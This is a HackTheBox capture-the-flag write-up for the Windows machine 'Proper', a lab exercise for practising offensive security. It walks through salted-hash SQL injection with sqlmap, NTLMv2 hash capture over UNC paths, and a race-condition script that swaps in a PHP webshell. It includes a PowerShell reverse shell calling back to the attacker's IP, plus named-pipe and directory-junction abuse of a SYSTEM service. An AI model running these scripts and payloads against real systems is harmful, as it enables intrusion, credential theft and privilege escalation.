HTB: Proper Writeup
Proper - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Proper |
| OS | Windows |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 15 Nov 2020 |
| IP Address | 10.129.44.110 |
| Author | xct & jkr |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Proper is a hard-difficulty Windows machine running an IIS web application for “OS Tidy Inc.” The initial foothold requires exploiting a salted-hash SQL injection vulnerability in an AJAX endpoint that leaks a secret salt (hie0shah6ooNoim). After dumping credentials and logging into a license portal, a race condition in the theme inclusion mechanism (secure_include) allows authenticated SMB-based remote file inclusion to achieve code execution as proper\web. Privilege escalation leverages a custom Cleanup service running as SYSTEM that exposes a named pipe (cleanupPipe) for privileged file operations. By exploiting CLEAN/RESTORE commands with filename truncation, a directory junction attack enables reading root.txt from the Administrator’s desktop via a backup-and-restore sequence.
TL;DR: SQLi with leaked salt → authenticated SMB RFI via race condition → proper\web shell → Cleanup service named pipe (CLEAN/RESTORE) + directory junction → read root.txt as SYSTEM.
Reconnaissance
Port Scanning
# Initial scan revealed port 80 (IIS)nmap -sC -sV -T4 -p- 10.129.44.110Results:
- Port 80/tcp: Microsoft IIS (HTTP)
Service Enumeration
IIS (Port 80)
Browsing to http://10.129.44.110 reveals an e-commerce application for “OS Tidy Inc.” The main page displays products loaded via AJAX. Directory fuzzing uncovered a /licenses folder requiring authentication.
AJAX Endpoint Discovery
The product listing is loaded via:
GET /products-ajax.php?order=id+desc&h=<redacted>The h parameter appears to be a hash protecting the order query parameter.
Vulnerability Assessment
-
Leaked Secret Salt: Omitting the
hparameter triggers a stack trace that discloses:define('SECURE_PARAM_SALT','hie0shah6ooNoim')This reveals the hash format:
md5(salt + order_value). -
SQL Injection: The
orderparameter is vulnerable to SQL injection. The hash must be computed asmd5('hie0shah6ooNoim' + order_query)where spaces in the query are preserved (e.g.,id descnotid+desc). -
Theme Parameter LFI/RFI: The
/licenses/licenses.php?theme=...&h=...endpoint usesfile_get_contents()to check for<?tags, theninclude()to loadtheme/header.inc. This creates a time-of-check-time-of-use (TOCTOU) race condition. -
Authenticated SMB Required: HTTP wrappers are disabled, but UNC paths (
\\LHOST\share) work. Initial UNC request without authentication leaks the NTLMv2 hash of userweb.
Initial Foothold
SQL Injection with Salted Hash
The products-ajax.php endpoint requires a valid MD5 hash computed from the salt and the query value.
Generate valid hash:
import hashlibsalt = 'hie0shah6ooNoim'order = 'id desc' # note: space, not +h = hashlib.md5((salt + order).encode()).hexdigest()print(h) # <redacted>SQLMap exploitation (with custom hash evaluation):
# Enumerate databasessqlmap -u 'http://10.129.44.110/products-ajax.php?order=id+desc&h=<hash>' \ --eval="import hashlib; h=hashlib.md5('hie0shah6ooNoim'.encode()+order.encode()).hexdigest()" \ --dbms MySQL --dbs --threads 10
# Dump cleaner.customers tablesqlmap -u 'http://10.129.44.110/products-ajax.php?order=id+desc&h=<hash>' \ --eval="import hashlib; h=hashlib.md5('hie0shah6ooNoim'.encode()+order.encode()).hexdigest()" \ --dbms MySQL -D cleaner -T customers --dump --threads 10Why this works: The application appends the salt before the user input and hashes it. SQLMap’s --eval dynamically recomputes the hash for each injection payload, bypassing the HMAC-like protection.
Retrieved credentials:
29 email/MD5 pairs were dumped. All MD5 hashes cracked to common passwords using rockyou.txt:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtExample credentials:
vikki.solomon@throwaway.mail:password1
Any valid credential allows login to /licenses/.
Authenticated SMB-Based RFI via Race Condition
After logging in with vikki.solomon@throwaway.mail:password1, the license portal offers theme selection via:
GET /licenses/licenses.php?theme=darkly&h=<md5(salt+theme)>The backend performs:
file_get_contents($theme . '/header.inc')→ checks for<?tag- If clean,
include($theme . '/header.inc')→ executes PHP
Initial UNC path test (URL-encoded \\10.10.15.180\test):
theme=%5C%5C10.10.15.180%5CtestThis captured the NTLMv2 hash of user web:
# On attacker (Kali)sudo impacket-smbserver -smb2support test /dev/shm/shareCrack captured hash:
john --format=netntlmv2 web.hash# Result: web:charlotte123!Why this works: Windows IIS processes UNC paths for file inclusion. The initial request without SMB authentication triggers NTLM negotiation, leaking the hash.
Race Condition Exploitation
The secure_include function has a TOCTOU vulnerability:
file_get_contents()reads and checks for<?- File can be swapped before
include()executes
Setup authenticated SMB server:
# Create share directory with benign and malicious filescd /dev/shmmkdir sharefallocate -l 1M share/header.inc # benign 1MB fileprintf '<?php system($_GET["c"]); ?>' > pwn.inc # webshell
# Start authenticated SMB serverimpacket-smbserver -smb2support -username web -password 'charlotte123!' test /dev/shm/sharePayload preparation (PowerShell reverse shell):
# Base64-encode UTF-16LE PowerShell reverse shellPS='$client = New-Object System.Net.Sockets.TCPClient("10.10.15.180",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()'
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0 > /dev/shm/ps_b64.txtRace script (race2.sh):
#!/bin/bashcd /dev/shm# Fresh session cookiecurl -s -c cj.txt "http://10.129.44.110/licenses/" \ -d "username=vikki.solomon@throwaway.mail&password=password1" >/dev/null
B64=$(cat /dev/shm/ps_b64.txt)URL="http://10.129.44.110/licenses/licenses.php"H="<hash>" # md5('hie0shah6ooNoim' + '\\10.10.15.180\test')THEME='\\10.10.15.180\test'
# Create small benign file (no <?)printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' > ben.inc
# Toggler: rapidly swap header.inc between benign and webshell( while [ ! -f /dev/shm/STOP ]; do cp ben.inc share/header.inc 2>/dev/null cp pwn.inc share/header.inc 2>/dev/null done) &TOGGLE=$!
# Hammer requests with webshell commandfor i in $(seq 1 20000); do [ -f /dev/shm/STOP ] && break
curl -s -m 8 -b cj.txt -G "$URL" \ --data-urlencode "theme=$THEME" \ --data-urlencode "h=$H" \ --data-urlencode "c=powershell -e $B64" >/dev/null 2>&1 &
# Limit concurrency if (( i % 12 == 0 )); then wait; fi
# Refresh cookie periodically if (( i % 400 == 0 )); then curl -s -c cj.txt "http://10.129.44.110/licenses/" \ -d "username=vikki.solomon@throwaway.mail&password=password1" >/dev/null 2>&1 fidone
waitkill $TOGGLE 2>/dev/nullecho "RACE2 DONE i=$i"Execution:
# Start listener in tmux sessiontmux new-session -d -s pwn 'nc -lvnp 1234; exec bash'
# Launch race script in backgroundnohup bash race2.sh >race2_out.log 2>&1 </dev/null & disown
# Monitor for connectionuntil tmux capture-pane -t pwn -p 2>/dev/null | grep -qi "connect to"; do sleep 2doneWhy this works: The small benign file (28 bytes) is quickly validated by file_get_contents(). The toggler script swaps it with the PHP webshell (pwn.inc) before include() executes. With ~12 concurrent requests, the race wins within seconds to minutes. Using small equal-sized files (instead of 1MB + inotify) improves the win rate for blind toggling over SMB.
Result:
listening on [any] 1234 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.44.110] 65145
whoamiproper\web
hostnameProperUser flag:
type C:\users\web\desktop\user.txt<redacted>Privilege Escalation
Enumeration: Cleanup Service
Enumeration revealed a custom service in C:\Program Files\Cleanup:
dir "C:\Program Files\Cleanup"# client.exe (2,999,808 bytes)# server.exe (3,041,792 bytes)# README.md (174 bytes)README.md contents:
# Cleanup- 31.10.2020 - Alpha Release
## Todo- Create an awesome GUI- Check additional pathsNamed pipe discovery:
cmd /c "dir \\.\pipe\ | findstr -i clean"# cleanupPipeThe service exposes a named pipe (cleanupPipe) for inter-process communication.
Cleanup Service Analysis
The service implements two commands:
- CLEAN: Backs up a file to
C:\ProgramData\cleanup\<base64(path)>(as an encoded blob), then deletes the original - RESTORE: Decodes the blob from
<base64(path)>and writes it back to the original path
Key vulnerabilities:
- CLEAN runs as SYSTEM: Can read any file (e.g.,
C:\Users\Administrator\Desktop\root.txt) - Last character truncation: The pipe protocol truncates the last character of the path → append an extra character (e.g.,
root.txtX) - No age check in pipe: Unlike
client.exe(which only cleans 30-day-old files), direct pipe commands accept any file - Privileged write via RESTORE: SYSTEM writes the decoded blob to the target path
Exploitation Strategy
Use a directory junction to trick CLEAN into reading root.txt, then restore it to a user-owned location:
- Create junction:
C:\Users\web\Downloads\test→C:\Users\Administrator\Desktop - CLEAN
C:\Users\web\Downloads\test\root.txtX(SYSTEM reads via junction) - Remove junction, create real directory
test - RESTORE
C:\Users\web\Downloads\test\root.txtX(SYSTEM writes to owned dir) - Read the restored flag
Named Pipe Client Implementation
Why cmd /c echo fails: The command silently fails because Windows treats the pipe path incorrectly. Instead, use .NET’s System.IO.Pipes.NamedPipeClientStream:
# Generate PowerShell pipe client (base64-encoded UTF-16LE)import base64
def enc(msg): script = ( '$p = New-Object System.IO.Pipes.NamedPipeClientStream(".",' '"cleanupPipe",[System.IO.Pipes.PipeDirection]::Out);' '$p.Connect(5000);' '$w = New-Object System.IO.StreamWriter($p);' '$w.AutoFlush=$true;' f"$w.Write('{msg}');" '$w.Flush();' 'Start-Sleep -Milliseconds 800;' '$p.Dispose();' "Write-Output 'SENT'" ) return base64.b64encode(script.encode('utf-16-le')).decode()
# Generate CLEAN command for root.txt (via junction)clean_b64 = enc(r"CLEAN c:\Users\web\Downloads\test\root.txtX")print(f"powershell -enc {clean_b64}")Step-by-Step Privilege Escalation
1. Create directory junction:
cmd /c rmdir C:\Users\web\Downloads\test 2>nulcmd /c mklink /j C:\Users\web\Downloads\test C:\Users\Administrator\Desktop2. CLEAN root.txt via junction:
# Send via encoded pipe clientpowershell -enc JABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgAuACIALAAiAGMAbABlAGEAbgB1AHAAUABpAHAAZQAiACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAFAAaQBwAGUARABpAHIAZQBjAHQAaQBvAG4AXQA6ADoATwB1AHQAKQA7ACQAcAAuAEMAbwBuAG4AZQBjAHQAKAA1ADAAMAAwACkAOwAkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAKQA7ACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoAD0AJAB0AHIAdQBlADsAJAB3AC4AVwByAGkAdABlACgAJwBDAEwARQBBAE4AIABjADoAXABVAHMAZQByAHMAXAB3AGUAYgBcAEQAbwB3AG4AbABvAGEAZABzAFwAdABlAHMAdABcAHIAbwBvAHQALgB0AHgAdABYACcAKQA7ACQAdwAuAEYAbAB1AHMAaAAoACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAOAAwADAAOwAkAHAALgBEAGkAcwBwAG8AcwBlACgAKQA7AFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBTAEUATgBUACcA
# Output: SENT3. Verify backup created:
cmd /c dir C:\ProgramData\cleanup# YzpcVXNlcnNcd2ViXERvd25sb2Fkc1x0ZXN0XHJvb3QudHh0 (192 bytes)Why this works: SYSTEM’s CLEAN handler follows the junction symlink to C:\Users\Administrator\Desktop\root.txt, reads it, and backs up the encoded blob to C:\ProgramData\cleanup\<base64(junction_path)>. The filename truncation (root.txtX → root.txt) ensures the correct file is targeted.
4. Replace junction with real directory:
cmd /c rmdir C:\Users\web\Downloads\testcmd /c mkdir C:\Users\web\Downloads\test5. RESTORE root.txt to owned directory:
# Generate RESTORE commandrestore_b64 = enc(r"RESTORE c:\Users\web\Downloads\test\root.txtX")print(f"powershell -enc {restore_b64}")powershell -enc JABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgAuACIALAAiAGMAbABlAGEAbgB1AHAAUABpAHAAZQAiACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAFAAaQBwAGUARABpAHIAZQBjAHQAaQBvAG4AXQA6ADoATwB1AHQAKQA7ACQAcAAuAEMAbwBuAG4AZQBjAHQAKAA1ADAAMAAwACkAOwAkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAKQA7ACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoAD0AJAB0AHIAdQBlADsAJAB3AC4AVwByAGkAdABlACgAJwBSAEUAUwBUAE8AUgBFACAAYwA6AFwAVQBzAGUAcgBzAFwAdwBlAGIAXABEAG8AdwBuAGwAbwBhAGQAcwBcAHQAZQBzAHQAXAByAG8AbwB0AC4AdAB4AHQAWAAnACkAOwAkAHcALgBGAGwAdQBzAGgAKAApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADgAMAAwADsAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUwBFAE4AVAAnAA==
# Output: SENT6. Read root flag:
type C:\Users\web\Downloads\test\root.txt<redacted>Why this works: RESTORE decodes the backup blob from C:\ProgramData\cleanup\<base64(path)> and writes it as SYSTEM to c:\Users\web\Downloads\test\root.txt. Since the junction was replaced with a real user-owned directory, the file is written with user permissions and becomes readable.
Alternative Methods (Not Used)
Windows Update Session Orchestrator DLL Hijacking:
- CLEAN a backdoored
WindowsCoreDeviceInfo.dll(with modified timestamp) - Rename backup to
QzpcV2luZG93c1xTeXN0ZW0zMlxXaW5kb3dzQ29yZURldmljZUluZm8uZGxs - RESTORE to
C:\Windows\System32\WindowsCoreDeviceInfo.dll - Trigger with
usoclient StartInteractiveScan→ SYSTEM bind shell on port 1337
Windows Error Reporting DLL Hijacking:
- CLEAN a malicious
phoneinfo.dll - RESTORE to
C:\Windows\System32\phoneinfo.dll - Trigger with
WerTrigger.exe→ SYSTEM shell
Attack Chain Summary
Stack trace leak (SECURE_PARAM_SALT=hie0shah6ooNoim)→ SQLi with salted hash (md5(salt+query))→ Dump cleaner.customers (email/MD5)→ Crack hashes (password1)→ Login to /licenses→ Theme parameter UNC path (\\LHOST\test)→ Capture web NTLMv2 hash→ Crack hash (web:charlotte123!)→ Authenticated SMB server→ Race condition (toggle header.inc: benign ↔ webshell)→ RCE as proper\web→ User flag→ Enumerate Cleanup service (cleanupPipe named pipe)→ .NET pipe client (CLEAN/RESTORE commands)→ Directory junction (test → Administrator\Desktop)→ CLEAN root.txtX (SYSTEM reads via junction)→ Replace junction with real dir→ RESTORE root.txtX (SYSTEM writes to owned dir)→ Root flagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
sqlmap | Automated SQL injection with custom hash eval |
john | Cracking MD5 and NTLMv2 hashes |
impacket-smbserver | Hosting authenticated SMB share for RFI |
curl | HTTP requests and cookie management |
tmux | Managing reverse shell session |
nc (netcat) | Reverse shell listener |
python3 | Generating salted hashes and encoded payloads |
iconv / base64 | Encoding PowerShell payloads (UTF-16LE) |
| Custom race script | Exploiting TOCTOU in secure_include |
| PowerShell | Named pipe client (NamedPipeClientStream) |
Key Learnings
Techniques Practiced
- Salted hash bypass in SQLi: When HMAC-like protection uses
hash(salt + input)and the salt leaks, dynamic hash recomputation (SQLMap--eval) bypasses the protection - UNC path-based NTLM hash capture: IIS processing
\\LHOST\sharepaths triggers NTLM authentication, leaking NTLMv2 hashes - TOCTOU race condition exploitation: When a check (e.g.,
file_get_contents()) and action (e.g.,include()) operate on the same file with a time gap, rapidly swapping the file can bypass validation - Authenticated SMB for RFI: When HTTP wrappers are disabled but UNC paths work, SMB with credentials enables file inclusion
- Named pipe enumeration and exploitation: Windows services often expose IPC via named pipes (
\\.\pipe\<name>); .NETNamedPipeClientStreamprovides reliable programmatic access - Directory junction attacks: Junctions (
mklink /j) redirect file operations; combining with privileged services (running as SYSTEM) enables unauthorized reads/writes - Filename truncation quirks: Path processing bugs (e.g., last-char truncation) can be exploited by appending dummy characters
Lessons Learned
-
Always test for error disclosure: The stack trace leak was the critical first step. Default error pages in development/staging often expose secrets.
-
Hash format matters: The hash used
md5(salt + input)with a space in the SQL query (id desc), not+from URL encoding. Preserving exact input format is crucial for hash-based integrity checks. -
Race conditions require volume and speed: The TOCTOU window in
secure_includewas tiny. Success required:- Small files (28 bytes vs 1MB) to minimize I/O time
- High concurrency (12 parallel requests)
- Fast toggling (tight
cploop with no delays) - Session cookie refresh (to avoid 401 errors mid-race)
-
UNC paths ≠ HTTP URLs: When RFI filtering blocks
http://, try\\UNC paths. Windows file functions often accept SMB shares. Use backslashes (\\LHOST\share), not forward slashes. -
Pipe communication is fragile:
cmd /c echo ... >\\.\pipe\...silently fails due to redirection issues. Use dedicated pipe clients (PowerShell .NET, C# apps) for reliability. -
Symlinks and junctions are powerful: On Windows, junctions (
mklink /j) redirect SYSTEM-level file operations. Combined with privileged services, they enable:- Arbitrary reads (SYSTEM reads protected file via junction → backup)
- Arbitrary writes (restore to junction-then-replaced directory)
-
Filename handling bugs are exploitable: The last-character truncation in the Cleanup service was subtle but critical. Always test edge cases in path parsing (trailing chars, special chars, length limits).
-
Backup/restore features = read/write primitives: When a SYSTEM service backs up files (CLEAN) and restores them (RESTORE), it’s effectively a privileged read/write primitive. Controlling the path (via truncation, base64 manipulation, or symlinks) grants arbitrary file access.
-
Patience in CTF automation: The race condition took multiple attempts (~2 minutes of hammering). Automated exploitation often requires:
- Background watchers (to detect success and stop loops)
- Resource cleanup (kill togglers, stop SMB servers)
- Retry logic (re-login, fresh cookies)
-
tmux for interactive shell management: Driving a Windows PowerShell reverse shell over netcat via
tmux send-keysandtmux capture-panefrom a remote jump box is clunky but effective. It allows:- Non-blocking command execution
- Output parsing for automation
- Persistent sessions across SSH disconnects
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew structural and explanatory guidance from the official HackTheBox writeup for Proper by xct & jkr, particularly regarding the secure_include race condition mechanics, the Cleanup service reverse engineering details, and alternative privilege escalation vectors (UsoDllLoader, WerTrigger). All specific commands, outputs, IP addresses, credentials, and flag values are from the author’s independent solve.